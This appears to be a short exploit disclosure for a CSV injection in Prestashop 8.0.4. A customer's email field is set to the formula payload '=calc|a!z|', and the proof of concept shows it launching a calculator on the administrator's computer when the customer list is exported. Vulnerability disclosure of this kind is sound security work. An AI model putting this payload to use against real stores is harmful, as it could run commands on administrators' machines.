Exploit Title: Prestashop 8.0.4 - CSV injection  
Application: prestashop  
Version: 8.0.4  
Bugs: CSV Injection  
Technology: PHP  
Vendor URL:  
Software Link:  
Date of found: 14.05.2023  
Author: Mirabbas Ağalarov  
Tested on: Windows  
2. Technical Details & POC  
Step 1. login as user  
step 2. Go to My Account then information ( http://localhost/index.php?controller=identity )  
step 3. Set Email as =calc|a!z|  
step 3. If admin Export costumers as CSV file ,in The computer of admin occurs csv injection and will open calculator (http://localhost/admin07637b2omxxdbmhikgb/index.php/sell/customers/?_token=mtc1BTvq-Oab2lBdfCaxpOorYraGGVMiTFluJzOpkWI)  
payload: =calc|a!z|